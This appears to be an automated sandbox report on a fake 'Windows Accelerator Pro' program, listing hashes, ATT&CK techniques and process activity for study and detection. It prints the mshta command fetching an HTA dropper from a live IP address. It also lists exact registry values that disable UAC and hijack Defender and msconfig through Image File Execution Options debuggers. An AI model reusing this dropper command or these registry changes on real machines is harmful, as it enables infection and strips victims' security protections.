d89f8d317cf5f8600cc5abe52846f38bf191ecbfb841817696d89d59dbca03c1

Reason

Machine shutdown

General

Target

other malware cuz why not/WindowsAcceleratorPro.exe
Size

1023KB
MD5

981931159e45242cc1c3dcbdb47846d7
SHA1

875bd5c00a30df19216e7f08bc18d97490ed25a6
SHA256

69461917822ca791194992d7b7d01e12afbf0eb86ae327b3fb86df01012e060e
SHA512

ffad32e77bcd989a20e1226021280204ded3e4ba7987e02978859be966e454785a0c0e196397378ad47d57f251764aeade3836127fe94ef67800342591fc63ce
SSDEEP

24576:A+nV9M1Yek6EYqNc4p9cAnlwDUctAaxu190ryaJqc5D9X32pVa:A+nsr1E66eAnEUc6CuEryaJqc5RWpVa

Score

10^/10

defense_evasion discovery evasion persistence trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://93.115.82.248/?0=1&1=1&2=9&3=i&4=7601&5=1&6=1111&7=nnatstcnwb

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

guard-rfpb.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\guard-rfpb.exe"	guard-rfpb.exe

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

guard-rfpb.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	guard-rfpb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	guard-rfpb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	guard-rfpb.exe

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

6 2820 mshta.exe

flow	pid	process
6	2820	mshta.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 12 IoCs

persistence

Image File Execution Options Injection

T1546.012

Processes:

guard-rfpb.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe\Debugger = "svchost.exe"	guard-rfpb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	guard-rfpb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe	guard-rfpb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe	guard-rfpb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe	guard-rfpb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe	guard-rfpb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe\Debugger = "svchost.exe"	guard-rfpb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe	guard-rfpb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "svchost.exe"	guard-rfpb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe\Debugger = "svchost.exe"	guard-rfpb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe\Debugger = "svchost.exe"	guard-rfpb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe\Debugger = "svchost.exe"	guard-rfpb.exe

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

1508 cmd.exe
Executes dropped EXE 1 IoCs

Processes:

guard-rfpb.exe

pid process

2704 guard-rfpb.exe
Loads dropped DLL 2 IoCs

Processes:

WindowsAcceleratorPro.exe

pid process

824 WindowsAcceleratorPro.exe
824 WindowsAcceleratorPro.exe
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

guard-rfpb.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" guard-rfpb.exe
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

3 checkip.dyndns.org

pid	process
1508	cmd.exe

pid	process
824	WindowsAcceleratorPro.exe
824	WindowsAcceleratorPro.exe

flow	ioc
3	checkip.dyndns.org

Drops file in System32 directory 3 IoCs

Processes:

guard-rfpb.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\services.msc	guard-rfpb.exe
File opened for modification	C:\Windows\SysWOW64\eventvwr.msc	guard-rfpb.exe
File opened for modification	C:\Windows\SysWOW64\diskmgmt.msc	guard-rfpb.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

WindowsAcceleratorPro.exeguard-rfpb.execmd.exemshta.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WindowsAcceleratorPro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	guard-rfpb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

guard-rfpb.exe

pid	process
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

guard-rfpb.exe

description pid process

Token: SeDebugPrivilege 2704 guard-rfpb.exe
Token: SeShutdownPrivilege 2704 guard-rfpb.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

guard-rfpb.exe

pid process

2704 guard-rfpb.exe
2704 guard-rfpb.exe
Suspicious use of SendNotifyMessage 1 IoCs

Processes:

guard-rfpb.exe

pid process

2704 guard-rfpb.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

WindowsAcceleratorPro.exeguard-rfpb.exe

pid process

824 WindowsAcceleratorPro.exe
2704 guard-rfpb.exe
2704 guard-rfpb.exe

description	pid	process
Token: SeDebugPrivilege	2704	guard-rfpb.exe
Token: SeShutdownPrivilege	2704	guard-rfpb.exe

pid	process
824	WindowsAcceleratorPro.exe
2704	guard-rfpb.exe
2704	guard-rfpb.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

WindowsAcceleratorPro.exeguard-rfpb.exe

description	pid	process	target process
PID 824 wrote to memory of 2704	824	WindowsAcceleratorPro.exe	guard-rfpb.exe
PID 824 wrote to memory of 2704	824	WindowsAcceleratorPro.exe	guard-rfpb.exe
PID 824 wrote to memory of 2704	824	WindowsAcceleratorPro.exe	guard-rfpb.exe
PID 824 wrote to memory of 2704	824	WindowsAcceleratorPro.exe	guard-rfpb.exe
PID 824 wrote to memory of 1508	824	WindowsAcceleratorPro.exe	cmd.exe
PID 824 wrote to memory of 1508	824	WindowsAcceleratorPro.exe	cmd.exe
PID 824 wrote to memory of 1508	824	WindowsAcceleratorPro.exe	cmd.exe
PID 824 wrote to memory of 1508	824	WindowsAcceleratorPro.exe	cmd.exe
PID 2704 wrote to memory of 2820	2704	guard-rfpb.exe	mshta.exe
PID 2704 wrote to memory of 2820	2704	guard-rfpb.exe	mshta.exe
PID 2704 wrote to memory of 2820	2704	guard-rfpb.exe	mshta.exe
PID 2704 wrote to memory of 2820	2704	guard-rfpb.exe	mshta.exe

System policy modification 1 TTPs 5 IoCs

evasion

Modify Registry

T1112

Processes:

guard-rfpb.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	guard-rfpb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	guard-rfpb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	guard-rfpb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableVirtualization = "0"	guard-rfpb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	guard-rfpb.exe

C:\Users\Admin\AppData\Local\Temp\other malware cuz why not\WindowsAcceleratorPro.exe
"C:\Users\Admin\AppData\Local\Temp\other malware cuz why not\WindowsAcceleratorPro.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:824
- C:\Users\Admin\AppData\Roaming\guard-rfpb.exe
  C:\Users\Admin\AppData\Roaming\guard-rfpb.exe
  2⤵
  - Modifies WinLogon for persistence
  - UAC bypass
  - Event Triggered Execution: Image File Execution Options Injection
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:2704
- - C:\Windows\SysWOW64\mshta.exe
    mshta.exe "http://93.115.82.248/?0=1&1=1&2=9&3=i&4=7601&5=1&6=1111&7=nnatstcnwb"
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    PID:2820
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\OTHERM~1\WINDOW~1.EXE" >> NUL
  2⤵
  - Deletes itself
  - System Location Discovery: System Language Discovery
  PID:1508

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:2972

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
1⤵
PID:540

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Winlogon Helper DLL

1

T1547.004

Event Triggered Execution

1

T1546

Image File Execution Options Injection

1

T1546.012

Privilege Escalation

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Boot or Logon Autostart Execution

1

T1547

Winlogon Helper DLL

1

T1547.004

Event Triggered Execution

1

T1546

Image File Execution Options Injection

1

T1546.012

Defense Evasion

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Impair Defenses

1

T1562

Disable or Modify Tools

1

T1562.001

Indicator Removal

1

T1070

File Deletion

Modify Registry

Credential Access

Discovery

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

\Users\Admin\AppData\Roaming\guard-rfpb.exe

Filesize
1023KB

MD5
981931159e45242cc1c3dcbdb47846d7

SHA1
875bd5c00a30df19216e7f08bc18d97490ed25a6

SHA256
69461917822ca791194992d7b7d01e12afbf0eb86ae327b3fb86df01012e060e

SHA512
ffad32e77bcd989a20e1226021280204ded3e4ba7987e02978859be966e454785a0c0e196397378ad47d57f251764aeade3836127fe94ef67800342591fc63ce

Download Submit
memory/824-10-0x0000000003240000-0x0000000003241000-memory.dmp

Filesize
4KB

Download
memory/824-24-0x00000000020D0000-0x00000000020D1000-memory.dmp

Filesize
4KB

Download
memory/824-25-0x0000000001F20000-0x0000000001F21000-memory.dmp

Filesize
4KB

Download
memory/824-1-0x00000000002B0000-0x000000000030F000-memory.dmp

Filesize
380KB

Download
memory/824-23-0x0000000002420000-0x0000000002421000-memory.dmp

Filesize
4KB

Download
memory/824-8-0x0000000000350000-0x0000000000351000-memory.dmp

Filesize
4KB

Download
memory/824-21-0x00000000020C0000-0x00000000020C1000-memory.dmp

Filesize
4KB

Download
memory/824-20-0x00000000020A0000-0x00000000020A1000-memory.dmp

Filesize
4KB

Download
memory/824-19-0x0000000002400000-0x0000000002401000-memory.dmp

Filesize
4KB

Download
memory/824-18-0x0000000001F70000-0x0000000001F71000-memory.dmp

Filesize
4KB

Download
memory/824-17-0x0000000001EE0000-0x0000000001EE1000-memory.dmp

Filesize
4KB

Download
memory/824-16-0x0000000001F00000-0x0000000001F01000-memory.dmp

Filesize
4KB

Download
memory/824-15-0x0000000001EC0000-0x0000000001EC1000-memory.dmp

Filesize
4KB

Download
memory/824-14-0x0000000002070000-0x0000000002071000-memory.dmp

Filesize
4KB

Download
memory/824-13-0x0000000001F10000-0x0000000001F11000-memory.dmp

Filesize
4KB

Download
memory/824-12-0x0000000003230000-0x0000000003233000-memory.dmp

Filesize
12KB

Download
memory/824-37-0x00000000038B0000-0x0000000003A3A000-memory.dmp

Filesize
1.5MB

Download
memory/824-9-0x0000000003240000-0x0000000003241000-memory.dmp

Filesize
4KB

Download
memory/824-22-0x00000000023F0000-0x00000000023F1000-memory.dmp

Filesize
4KB

Download
memory/824-7-0x0000000000310000-0x0000000000311000-memory.dmp

Filesize
4KB

Download
memory/824-6-0x00000000003F0000-0x00000000003F1000-memory.dmp

Filesize
4KB

Download
memory/824-5-0x0000000000290000-0x0000000000291000-memory.dmp

Filesize
4KB

Download
memory/824-4-0x0000000000270000-0x0000000000271000-memory.dmp

Filesize
4KB

Download
memory/824-3-0x00000000003E0000-0x00000000003E1000-memory.dmp

Filesize
4KB

Download
memory/824-2-0x0000000000320000-0x0000000000321000-memory.dmp

Filesize
4KB

Download
memory/824-26-0x0000000000250000-0x0000000000251000-memory.dmp

Filesize
4KB

Download
memory/824-27-0x0000000003250000-0x0000000003251000-memory.dmp

Filesize
4KB

Download
memory/824-28-0x0000000000260000-0x0000000000261000-memory.dmp

Filesize
4KB

Download
memory/824-0-0x0000000000400000-0x000000000058A000-memory.dmp

Filesize
1.5MB

Download
memory/824-36-0x00000000038B0000-0x0000000003A3A000-memory.dmp

Filesize
1.5MB

Download
memory/824-41-0x0000000000400000-0x000000000058A000-memory.dmp

Filesize
1.5MB

Download
memory/824-40-0x00000000002B0000-0x000000000030F000-memory.dmp

Filesize
380KB

Download
memory/824-11-0x00000000002A0000-0x00000000002A1000-memory.dmp

Filesize
4KB

Download
memory/2704-42-0x0000000000400000-0x000000000058A000-memory.dmp

Filesize
1.5MB

Download
memory/2704-47-0x0000000000400000-0x000000000058A000-memory.dmp

Filesize
1.5MB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads